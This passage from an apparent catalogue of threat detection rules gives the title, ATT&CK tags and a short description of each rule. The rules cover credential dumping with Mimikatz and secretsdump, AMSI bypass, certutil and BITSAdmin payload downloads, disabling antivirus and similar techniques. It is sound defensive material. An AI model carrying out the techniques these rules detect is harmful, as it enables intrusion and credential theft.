Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network and loading it for a WMI DLL Hijack scenario.

Read More
Wow6432Node Classes Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Wow6432Node CurrentVersion Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Write Protect For Storage Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects applications trying to modify the registry in order to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.

Read More
Writing Local Admin Share

Aug 12, 2024 · attack.lateral-movement attack.t1546.002 ·
Share on:

Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks.

Read More
Writing Of Malicious Files To The Fonts Folder

Aug 12, 2024 · attack.t1211 attack.t1059 attack.defense-evasion attack.persistence ·
Share on:

Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.

Read More
WScript or CScript Dropper - File

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe

Read More
Wscript Shell Run In CommandLine

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity

Read More
WSL Child Process Anomaly

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL

Read More
XBAP Execution From Uncommon Locations Via PresentationHost.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL

Read More
XSL Script Execution Via WMIC.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1220 ·
Share on:

Detects the execution of WMIC with the "format" flag to potentially load XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

Read More
Zerologon Exploitation Using Well-known Tools

Aug 12, 2024 · attack.t1210 attack.lateral-movement ·
Share on:

This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.

Read More
Zimbra Collaboration Suite Email Server Unauthenticated RCE

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-27925 detection.emerging-threats ·
Share on:

Detects an attempt to leverage the vulnerable servlet "mboximport" for an unauthenticated remote command injection

Read More
Zip A Folder With PowerShell For Staging In Temp - PowerShell Module

Aug 12, 2024 · attack.collection attack.t1074.001 ·
Share on:

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Read More
Zip A Folder With PowerShell For Staging In Temp - PowerShell

Aug 12, 2024 · attack.collection attack.t1074.001 ·
Share on:

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Read More
Zip A Folder With PowerShell For Staging In Temp - PowerShell Script

Aug 12, 2024 · attack.collection attack.t1074.001 ·
Share on:

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Read More
ZxShell Malware

Aug 12, 2024 · attack.execution attack.t1059.003 attack.defense-evasion attack.t1218.011 attack.s0412 attack.g0001 detection.emerging-threats ·
Share on:

Detects a ZxShell start by the called and well-known function name

Read More
Abuse of the Windows Server Update Services (WSUS) for lateral movement.

Aug 10, 2024 · attack.execution attack.lateral_movement attack.T1210 ·
Share on:

Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations. Some tools, such as SharpWSUS and WSUSpendu, support lateral movement through WSUS.This rule covers those two main tools used for that purpose.

Read More
Arbitrary code execution and remote sessions via Action1 RMM

Aug 10, 2024 · attack.CommandAndControl attack.T1219 ·
Share on:

Action1 is a powerful Remote Monitoring and Management tool that enables users to execute commands, scripts, and binaries. Through the web interface of action1, the administrator must create a new policy or an app to establish remote execution and then points that the agent is installed. Hunting Opportunity 1- Weed Out The Noise --- When threat actors execute a script, a command, or a binary through these new policies and apps, the names of these become visible in the command line during the execution process. Below is an example of the command line that contains the deployment of a binary through a policy with name "test_app_1": ParentCommandLine: "C:\WINDOWS\Action1\action1_agent.exe schedule:Deploy_App__test_app_1_1681327673425 runaction:0"

After establishing a baseline, we can split the command to extract the policy name and group all the policy names and inspect the results with a list of frequency occurrences. An example query of this in Splunk could be: Index="" source="" Image="*\action1_agent.exe" ParentCommandLine="runaction:0" | rex field=ParentCommandLine "(?<=Deploy_App__)(?.(?=(_1)))"

Hunting Opportunity 2 - Remote Sessions On Out Of Office Hours ---- If you have admins within your environment using remote sessions to administer endpoints, you can create a threat-hunting query and modify the time of the initiated sessions looking for abnormal activity.

Read More
ChromeLoader Malware Detection

Aug 10, 2024 · attack.execution attack.T1059.001 attack.persistence attack.T1176 attack.T1053.005 ·
Share on:

Detects execution of ChromeLoader malware via a registered scheduled task

Read More
CMSTP installation of malicious code

Aug 10, 2024 · attack.Defense Evasion attack.T1218 ·
Share on:

Detects the execution of CMSTP that is used install fake Connection Manager Profiles via contains via .INF files that resign on a temp location on disk and contains instructions for how the Connection Manager should install the profile. The .INF files could contain malicious code under the section RunPreSetupCommandsSection which is the commands to run before setup.

Read More
Deleting Windows Defender scheduled tasks

Aug 10, 2024 · attack.defense_evasion attack.t1562.001 ·
Share on:

Detects the deletion of scheduled tasks related to Windows Defender.

Read More
Detecting Ammy Admin RMM Agent Execution

Aug 10, 2024 · attack.execution attack.persistence ·
Share on:

Detects the execution of the Ammy Admin RMM agent for remote management.

Read More
Detection of CMD Execution via AnyViewer RMM

Aug 10, 2024 · attack.execution attack.persistence ·
Share on:

Detects cmd shell execution via AnyViewer RMM agent on remote management sessions.

Read More
Detection of Suspicious triggering of ErrorHandler.cmd Execution

Aug 10, 2024 · attack.execution attack.persistence ·
Share on:

Detects the persistence mechanism of triggering ErrorHandler.cmd execution upon the execution of specific binaries inside the oobe directory.

Read More
Disabled AV On Dev Drive via Registry

Aug 10, 2024 · attack.defense.evasion attack.T1562.001 ·
Share on:

Detects the execution registry change that enables a Dev Drive without allowing AV to access the created drive. This technique is available starting with Windows 11.

Read More
Disabling Python warnings for executing untrusted code

Aug 10, 2024 · attack.Defense-Evansion attack.T1562.001 ·
Share on:

Detecting the registry change that would prevent any warnings or alerts when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

Read More
Dumpbin LOLBin use for proxying execution via link.exe

Aug 10, 2024 · attack.Defense Evasion attack.T1218 ·
Share on:

Using dumpbin.exe, a windows binary that is installed along side visual studio versions. When dumbin.exe is executed, it is calling link.exe without checking the legitimacy of the link.exe named binary in the same directory.

Read More
Emotet loader execution via .lnk file

Aug 10, 2024 · attack.execution attack.T1059.006 ·
Share on:

Detects the latest emotet loader as reported by @malware_traffic. The .lnk file was delivered via phishing campaign.

Read More
Enabling Dev Drive With Disabled AV

Aug 10, 2024 · attack.defense.evasion attack.T1562.001 ·
Share on:

Detects the execution of fsutil.exe to enable a Dev Drive with an argument that disables the AV on the created drive. This technique is available starting with Windows 11.

Read More
Enabling RDP service via reg.exe command execution

Aug 10, 2024 · attack.defense_evasion attack.lateral_movement attack.t1021.001 attack.t1112 ·
Share on:

Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host

Read More
Enabling restricted admin mode

Aug 10, 2024 · attack.defense_evasion attack.t1562.001 ·
Share on:

Detects the registry modification to enable restricted admin mode using reg.exe

Read More
Execute Python Scripts via Python Installer Binary

Aug 10, 2024 · attack.Defense.Evasion attack.T1202 ·
Share on:

Detects the execution of malicious Python scripts from the AppData directory after the execution of the setup.exe installation package. Some installation packages allow for post-installation scripts to be run. A malicious actor could modify these scripts or add their own to execute malicious actions after the legitimate software is installed.

Read More
Execution of SOAPHound Tool with Specific Arguments

Aug 10, 2024 · attack.discovery attack.t1087 ·
Share on:

Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information.

Read More
Execution of ZeroLogon PoC executable

Aug 10, 2024 · attack.execution attack.lateral_movement attack.T1210 ·
Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Read More
Exploitation of 7zip vulnerability - CVE-2022-29072

Aug 10, 2024 · attack.Exploitation for Privilege Escalation attack.T1068 ·
Share on:

Detects possible exploitation vulnerability CVE-2022-29072. This vulnerability is due to 7z.dll misconfiguration. When a .7z file is placed in the Help > Contents area of the current Windows version 21.07, anyone with access to the host can elevate privileges. The command creates a child process of 7zFM.exe.

Read More
Exploitation of Vulnerable VMware Horizon to LOG4J

Aug 10, 2024 · attack.initial_access attack.t1190 ·
Share on:

Detecting initial exploitation attempt against VMware Horizon deployments running vulnerable versions of Log4j.

Read More
Explorer UAC Bypass Via /NOUACCHECK Parameter

Aug 10, 2024 · attack.privilege_escalation attack.T1548.002 ·
Share on:

Detects possible attempt to circumvent the User Account Control (UAC) by executing Windows Explorer to spawn a command line interpreter process without triggering UAC prompts.

Read More
Extract Credentials From IIS Application Pool Configuration Files

Aug 10, 2024 · attack.CredentialAccess attack.T1552.001 ·
Share on:

Detects the execution of appcmd.exe that is used to extract credentials from configuration files. IIS application pools can run as different users for security and isolation purposes. When a user is specified for the application pool, their credentials are stored in plaintext in the configuration file.

Read More
FakeUpdates/SocGholish Malware Detection

Aug 10, 2024 · attack.execution attack.T1059.001 ·
Share on:

Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.

Read More
HH.exe LOLBA executing .chm files

Aug 10, 2024 · attack.Compiled.HTML.File attack.T1218.001 ·
Share on:

Detecting the execution of hh.exe and the follow up activity for downloading or executing second stage payloads. This is based malspam activity delivering Remote Access Trojans via initial .chm payloads.

Read More
Hiding local user accounts

Aug 10, 2024 · attack.hidden.users attack.T1564.002 ·
Share on:

Detects the use reg.exe to hide users from listed in the logon screen. This is possible by changing the registry key value to 0 for a specific user.

Read More
Injected Browser Process Spawning Rundll32

Aug 10, 2024 · attack.defense_evasion attack.T1055 ·
Share on:

Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process.

Read More
Kerberoasting Activity - Initial query

Aug 10, 2024 · attack.credential_access attack.t1558.003 ·
Share on:

This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert.

Read More
KrbRelayUp local privilege escalation.

Aug 10, 2024 · attack.privilege_escalation attack.t1068 ·
Share on:

Detecting possible successful exploitation using tools such as KrbRelayUp AD environment

Read More
LAPS Credential Dumping Spoofing and Domain Controller Impersonation

Aug 10, 2024 · attack.credential_access attack.T1003 ·
Share on:

Identify LAPS credential dumping by looking for users accessing objects via Event ID 4662, and login authentication events via Event ID 4624. The two events must contain the same LogonID to track the same logon session. NOTE - The TargetLogonId has to match the SubjectLogonId. Not sure how to implement the logic using sigma, so I have left it as a placeholder. Make sure to change it depending on the SIEM you are using.

Read More
MOVEit exploitation

Aug 10, 2024 · attack.execution attack.T1623 ·
Share on:

MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compliling a DLL and writing it under C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\([a-z0-9]{5,12})\([a-z0-9]{5,12})\App_Web_[a-z0-9]{5,12}.dll. Hunting Opportunity --- Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.

Read More
ms-msdt for RCE - sdiagnhost.exe spawning command

Aug 10, 2024 · attack.execution attack.T1059.003 attack.T1204.002 ·
Share on:

Detecting sdiagnhost.exe executing the POC as a result of vulnerability based on ms-msdt.

Read More
ms-msdt for RCE CVE-2022-30190

Aug 10, 2024 · attack.execution attack.T1059.003 attack.T1204.002 ·
Share on:

Detecting the execution of weaponized maldoc or embedded link in outlook that uses ms-msdt scheme to execute code.

Read More
MSTeams exe side-loading - Update.exe

Aug 10, 2024 · attack.Defense Evasion attack.T1218 ·
Share on:

Detects execution of side-loaded executable via the update.exe, part microsoft teams' application binary.

Read More
Onenote execution of malicious embedded scripts

Aug 10, 2024 · attack.defense_evasion attack.T1218.001 ·
Share on:

Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a onenote attachment and then on the malicious link inside the .one file, it exports and executes the malicious embedded script from specific directories.

Read More
PowerShell AMSI Bypass Pattern

Aug 10, 2024 · attack.defense_evasion attack.t1562.001 attack.execution ·
Share on:

Detects attempts to disable AMSI in the commandline. It is possible to bypass AMSI by disabling it before loading the main payload.

Read More
Raspberry Robin initial execution from external drive

Aug 10, 2024 · attack.execution attack.T1059.001 ·
Share on:

Detects execution from the external drive using cmd

Read More
Raspberry Robin subsequent execution of commands

Aug 10, 2024 · attack.execution attack.T1059.001 ·
Share on:

Detects raspberry robin subsequent execution of commands from

Read More
SamAccountName Spoofing and Domain Controller Impersonation

Aug 10, 2024 · attack.privilege_escalation attack.t1068 ·
Share on:

'This technique is to detect exploitation chain of CVE-2021-42287 (samAccountName Spoofing) and CVE-2021-42278 (Domain Controller Impersonation). It is looking into event 4781 for evidence of a new computer account creation and account rename that matches the name of a domain controller account without ending in "$". Computer account names always end with $ and a change like this is highly unusual. Immediately after the 4781 event, a Kerberos Ticket Granting Ticket (TGT) must be requested on behalf of the newly created and renamed computer account. A computer account name event will occur before this TGT request. Putting everything together, we may use events 4781 and 4768 to look for a series of events in which the new computer account on event 4781 matches the requested account on event 4768. NOTE-- On selection2, the TargetUserName should equal to NewTargetUserName. I have left it as a placeholder but this should change dependingon the backend you are translating the query to. Splunk Example-- | eval RenamedComputerAccount = coalesce(New_Account_Name, mvindex(Account_Name,0)) | transaction RenamedComputerAccount endswith=(EventCode=4781)'

Read More
Scheduled task executing powershell encoded payload from registry

Aug 10, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Read More
Ursnif Redirection Of Discovery Commands

Aug 10, 2024 · attack.execution attack.T1059 ·
Share on:

Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.

Read More
Using Emojis to evade detection

Aug 10, 2024 · ( ͡° ͜ʖ ͡°) ·
Share on:

Detects emojis in the command line

Read More
Using explorer.exe to open a file explorer folder via command prompt

Aug 10, 2024 · attack.Discovery attack.T1135 ·
Share on:

Detects the initial execution of cmd.exe which spawns explorer.exe with the appropriate command line arguments for opening the My Computer folder.

Read More
Using Lazagne to dump credentials

Aug 10, 2024 · attack.credential_access attack.t1555 ·
Share on:

Detects the use of lazagne looking into the command line execution.

Read More
Using powershell specific download cradle OneLiner

Aug 10, 2024 · attack.defense_evasion attack.t1562.001 attack.execution T1059.001 ·
Share on:

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Read More
VSDiagnostics used for proxying execution malicious binaries

Aug 10, 2024 · attack.defense_evasion attack.T1218 ·
Share on:

Detects the subvert execution of malicious payloads using vsdiagnostics.exe. VSDiagnostics.exe is an executable part of the Microsoft Visual Studio. Threat actors can use the start to start a new session in combination with the /launch and /launchargs parameters to execute a malicious payload on disk.

Read More
Wermgr.exe spawning without command line arguments

Aug 10, 2024 · attack.Defense Evasion attack.T1218 ·
Share on:

Wermgr.exe should not spawn without any command line arguments. Sometimes malware are using process injection to masquerade their malicious activities and evade detection.

Read More
AppInit DLL Installation

Mar 26, 2024 · attack.privilege_escalation attack.persistence attack.t1546 attack.t1546.010 ·
Share on:

One persistence mechanism used by some variations of SmashJacker was an AppInit DLL. It would use a reg.exe command to create appropriate Windows Registry keys for persistence. Part of the RedCanary 2024 Threat Detection Report.

Read More
Application Bypass with DllRegisterServer Function

Mar 26, 2024 · attack.defense_evasion attack.t1218 attack.t1218.011 ·
Share on:

DLLs that are designed to be loaded by Regsvr32 are expected to have a DllRegisterServer export function implemented. Adversaries will often supply the same DLL to rundll32.exe as well. Executing the DllRegisterServer export function with rundll32.exe is tradecraft that’s unique to adversary behavior and is rarely seen in legitimate scenarios. We’ve observed this behavior in threats including Qbot, Ursnif, and Zloader, to name a few examples. Part of the RedCanary 2024 Threat Detection Report.

Read More
Atexec.py Execution

Mar 26, 2024 · attack.s0357 attack.execution attack.t1053 attack.t1053.002 ·
Share on:

This detection analytic identifies Impacket’s atexec.py script on a target host. atexec.py is remotely run on an adversary’s machine to execute commands on the victim via scheduled task. The command is commonly executed by a non-interactive cmd.exe with the output redirected to an eight-character TMP file. Part of the RedCanary 2024 Threat Detection Report.

Read More
Base64 Encoding

Mar 26, 2024 · attack.defense_evasion attack.t1027 ·
Share on:

If you’re looking to detect malicious use of Base64 encoding, consider monitoring for the execution of processes like powershell.exe or cmd.exe along with command lines containing parameters like ToBase64String and FromBase64String. The following simple pseudo-analytic might help you find malicious obfuscation. Part of the RedCanary 2024 Threat Detection Report.

Read More
BITSAdmin Downloading Malicious Binaries

Mar 26, 2024 · attack.command_and_control attack.t1105 ·
Share on:

It is not unusual for adversaries, including ones who peddle ransomware, to use BITSAdmin to download arbitrary files from the internet in an effort to evade application blocklisting. The following analytic will look for the execution of bitsadmin.exe with command options that suggest a file is being downloaded. Part of the RedCanary 2024 Threat Detection Report.

Read More
Bypassing Security Controls - Command Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.defense_evasion attack.t1202 ·
Share on:

Adversaries bypass controls using the Windows Command Shell in a plethora of ways, but you can detect the one we see most often with a simple combination of process execution and a corresponding command line. Part of the RedCanary 2024 Threat Detection Report.

Read More
Certreq Downloading Malicious Binaries

Mar 26, 2024 · attack.command_and_control attack.t1105 ·
Share on:

Just like certutil, certreq can also be abused by adversaries to download and upload data. The following analytic will look for the execution of certreq.exe with command options that suggest a file is being downloaded. Part of the RedCanary 2024 Threat Detection Report.

Read More
CertUtil Downloading Malicious Binaries

Mar 26, 2024 · attack.command_and_control attack.t1105 ·
Share on:

Adversaries often bypass security controls by using the Windows Certificate Utility (certutil.exe) to download malicious code. In general, they leverage certutil.exe along with the -split command-line option. Part of the RedCanary 2024 Threat Detection Report.

Read More
ChromeLoader NW.js Runtime App Installation Paths

Mar 26, 2024 · attack.persistence attack.t1176 ·
Share on:

Red Canary has had success detecting ChromeLoader by looking for instances of NW.js applications that are unsigned and running from %AppData/Roaming%. This behavior is not unique to ChromeLoader, and some tuning may be required to avoid detecting legitimate applications. A partial list of common ChromeLoader NW.js runtime app installation paths is included below to help distinguish the signal from the noise. Part of the RedCanary 2024 Threat Detection Report.

Read More
Email Forwarding Rule - Suspicious Folders

Mar 26, 2024 · attack.collection attack.t1114 attack.t1114.003 ·
Share on:

Looking for new rules alone may generate too many false positives, so adding another check for commonly abused folders, suspicious criteria, and odd names will help filter out benign activity. RedCanary suggests looking for new inbox rules that move or copy emails to the following folders. Part of the RedCanary 2024 Threat Detection Report.

Read More
Email Forwarding Rule - Suspicious Forwarding Criteria

Mar 26, 2024 · attack.collection attack.t1114 attack.t1114.003 ·
Share on:

Detects the creation of email forwarding rules with suspicious strings indicating forwarding criteria meant to steal sensitive information. Part of the RedCanary 2024 Threat Detection Report.

Read More
Email Forwarding Rule - Suspicious Rule Names

Mar 26, 2024 · attack.collection attack.t1114 attack.t1114.003 ·
Share on:

Detects the creation of email forwarding rules with suspicious names. Part of the RedCanary 2024 Threat Detection Report.

Read More
Enumerating Domain Trust Relationships with Nltest.exe

Mar 26, 2024 · attack.discovery attack.t1482 ·
Share on:

Left unchecked, SocGholish may lead to domain discovery. This type of behavior is often a precursor to ransomware activity, and should be quickly quelled to prevent further progression of the threat. Part of the RedCanary 2024 Threat Detection Report.

Read More
Gamarue Rundll32.exe Long Commandlines

Mar 26, 2024 · attack.defense_evasion attack.t1027 attack.t1027.010 ·
Share on:

Fortunately for defenders, Gamarue is detectable with endpoint telemetry. The majority of Gamarue activity we see involves rundll32.exe executing with unusual command lines that include long filenames with repeating characters and random function names. Part of the RedCanary 2024 Threat Detection Report.

Read More
In-memory Downloading and Compiling of Applets as Payloads

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.002 ·
Share on:

This analytic uses a single ES_EVENT_TYPE_NOTIFY_EXEC event and looks for the the execution of curl, |, or osacompile commands. Part of the RedCanary 2024 Threat Detection Report.

Read More
Kerberos .kirbi Ticket Files

Mar 26, 2024 · attack.s0002 attack.credential_access attack.t1558 attack.t1558.003 ·
Share on:

Kerberos ticket files (.kirbi) are of interest to adversaries as they can contain sensitive data such as NTLM hashes that can be cracked offline. To perform these attacks, a unique file extension variable is defined within Mimikatz that designates the default extension as .kirbi. Part of the RedCanary 2024 Threat Detection Report.

Read More
Mac AppleScript Input Prompt

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.002 ·
Share on:

Adversaries leverage AppleScript to try to steal the user’s login password. This analytic attempts to detect that activity via the first variation. Part of the RedCanary 2024 Threat Detection Report.

Read More
Mimikatz Module Names

Mar 26, 2024 · attack.credential_access attack.t1003 attack.s0002 ·
Share on:

Identifies processes in which Mimikatz module names are observed as command-line parameters. Part of the RedCanary 2024 Threat Detection Report.

Read More
Network Connections from the Command Line with no Parameters

Mar 26, 2024 · attack.command_and_control ·
Share on:

It is unusual for these processes to attempt network connections with an empty command line, which can indicate malicious command and control (C2) activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Non-depmod Process Modifying modules.dep

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1547 attack.t1547.006 ·
Share on:

Detects unusual process modifying the modules.dep file. The modules.dep and modules.dep.bin files should only be modified by the depmod utility. Part of the RedCanary 2024 Threat Detection Report.

Read More
Non-Microsoft App Package Installation Process

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1546 attack.t1546.016 ·
Share on:

Detects app package installation processes where the app is not a Microsoft app based on the publisher ID. Part of the RedCanary 2024 Threat Detection Report.

Read More
Obfuscated Commands - Command Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.defense_evasion attack.t1027 ·
Share on:

Detecting obfuscation in the command shell is relatively straightforward, but there are a lot of variations to consider when you’re developing detection coverage. Of course, the process you’re looking for will always be cmd.exe, but the corresponding command line can contain a variety of suspicious characters. The trick is finding the thresholds where the inclusion of obfuscation characters go from normal to anomalous (but benign) to suspicious enough to warrant alerting. The following pseudo-detection logic offers a good starting point for developing detection coverage for obfuscation in the command line. Part of the RedCanary 2024 Threat Detection Report.

Read More
Obfuscation and Escape Characters - Powershell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 attack.defense_evasion attack.t1027 ·
Share on:

This analytic looks for the execution of a process that seems to be powershell.exe along with a corresponding command line containing the term base64. Base64 encoding isn’t inherently suspicious, but it’s worth looking out for in a lot of environments, and the following pseudo-detection logic can help detect a wide variety of malicious activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Office Products Spawning WMI

Mar 26, 2024 · attack.execution attack.t1047 attack.t1204 ·
Share on:

It’s almost always malicious when wmic.exe spawns as a child process of Microsoft Office and similar products. As such, it makes sense to examine the chain of execution and follow-on activity when this occurs. The following is a non-exhaustive example analytic that will catch some of this activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Package Support Framework (PSF) Advanced Installer Processes

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1546 attack.t1546.016 ·
Share on:

Detects app package installation processes where legitimate software is included in an MSIX package, but a malicious PowerShell script may execute beforehand by employing the Package Support Framework (PSF). In these cases, the MSIX package includes the malicious script, which is executed as specified in an included config.json file. Part of the RedCanary 2024 Threat Detection Report.

Read More
PowerShell -encodedcommand Switch

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 attack.defense_evasion attack.t1027 ·
Share on:

This detection analytic looks for the execution of powershell.exe with command lines that include variations of the -encodedcommand argument; PowerShell will recognize and accept anything from -e onward, and it will show up outside of the encoded bits. Part of the RedCanary 2024 Threat Detection Report.

Read More
PowerShell Base64 Encoding

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 attack.defense_evasion attack.t1027 ·
Share on:

This analytic looks for the execution of a process that seems to be powershell.exe along with a corresponding command line containing the term base64. Base64 encoding isn’t inherently suspicious, but it’s worth looking out for in a lot of environments, and the following pseudo-detection logic can help detect a wide variety of malicious activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
PowerShell Startup Folder Persistence

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1547 attack.t1547.001 ·
Share on:

Yellow Cockatoo Windows Startup folder for persistence. Not unique to Yellow Cockatoo, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL. Part of the RedCanary 2024 Threat Detection Report.

Read More
PowerShell Suspicious .NET Methods

Mar 26, 2024 · attack.defense_evasion attack.t1140 attack.t1574 attack.t1574.013 ·
Share on:

Detects the loading of suspicious .NET methods, seen in PowerShell script load content. This behavior is not limited to Yellow Cockatoo and can be applied universally for malicious PowerShell obfuscation attempts. Part of the RedCanary 2024 Threat Detection Report.

Read More
Processes Executing with Unusual Command Lines

Mar 26, 2024 · attack.defense_evasion attack.t1036 attack.t1036.003 ·
Share on:

Detects powershell command lines used with a process name besides powershell. Part of the RedCanary 2024 Threat Detection Report.

Read More
Qbot Mounted Drive Script Executions

Mar 26, 2024 · attack.s0650 attack.execution attack.t1059 attack.t1204 ·
Share on:

Detects Windows Scripting Host processes (wscript.exe and cscript.exe) that are invoking the execution of common scripting formats that Red Canary has observed being used by Qbot—such as .js, .vbs, and .wsf—that are from a logical mounted drive using the drive letters D: through Z: and that have a child process. Part of the RedCanary 2024 Threat Detection Report.

Read More
Rundll32 Injection into LSASS

Mar 26, 2024 · attack.defense_evasion attack.t1218 attack.t1218.011 attack.t1055 ·
Share on:

The following pseudo-detector should help security teams detect instances where Rundll32 opens a cross process handle into LSASS to collect credentials. Part of the RedCanary 2024 Threat Detection Report.

Read More
Rundll32 with Suspicious Process Lineage

Mar 26, 2024 · attack.defense_evasion attack.t1218 attack.t1218.011 ·
Share on:

As is the case with most techniques in this report, it's critical that you are able to take stock of what is normal in your environment if you hope to be able to identify what isn't. In the context of Rundll32, you’ll want to monitor for executions of rundll32.exe from unusual parent processes, and the following pseudo-analytic—based on an amalgamation of Red Canary detection logic—should help security teams do just that. Part of the RedCanary 2024 Threat Detection Report.

Read More
Rundll32 Without a Command Line

Mar 26, 2024 · attack.defense_evasion attack.t1218 attack.t1218.011 ·
Share on:

Rundll32 does not normally execute without corresponding command-line arguments and while spawning a child process. Given this, you may want to alert on the execution of processes that appear to be rundll32.exe without any command-line arguments , especially when they spawn child processes or make network connections. Part of the RedCanary 2024 Threat Detection Report.

Read More
SecretsDump File Modification

Mar 26, 2024 · attack.credential_access attack.t1003 ·
Share on:

Impacket’s SecretsDump utility consistently involves the Windows Service Host (svchost.exe) writing randomly named .tmp files to the System32 directory. The following pseudo-detector should offer defenders a reliable method of detecting Impacket's SecretsDump utility. Part of the RedCanary 2024 Threat Detection Report.

Read More
Secretsdump.py Execution

Mar 26, 2024 · attack.s0357 attack.credential_access attack.t1003 attack.t1003.003 attack.t1003.006 ·
Share on:

This detection analytic identifies Impacket’s secretsdump.py script on a target host, which is the most common script we have observed in customer environments. secretsdump.py is remotely run on an adversary’s machine to steal credentials. The command is commonly executed by svchost.exe, where regsvc.dll is loaded which allows the export of credentials from the registry. The output is redirected to an eight-character TMP file within the System32 directory. Part of the RedCanary 2024 Threat Detection Report.

Read More
Service Control Manager Spawning Command Shell with Suspect Strings

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.t1569 attack.t1569.002 ·
Share on:

The following pseudo detector should generate an alert when services.exe spawns cmd.exe along with a corresponding echo or /c command, which are common attributes of post exploitation that we’ve seen in association with this technique. Part of the RedCanary 2024 Threat Detection Report.

Read More
Shells Modifying Files in Known Linux Kernel Modules Directories

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1547 attack.t1547.006 ·
Share on:

Detects configuration files being written to specific directories that are searched when looking for loadable Linux Kernel Modules (LKM). Part of the RedCanary 2024 Threat Detection Report.

Read More
SMBexec.py Execution

Mar 26, 2024 · attack.s0357 attack.execution attack.t1569 attack.t1569.002 attack.lateral_movement attack.t1021 attack.t1021.003 ·
Share on:

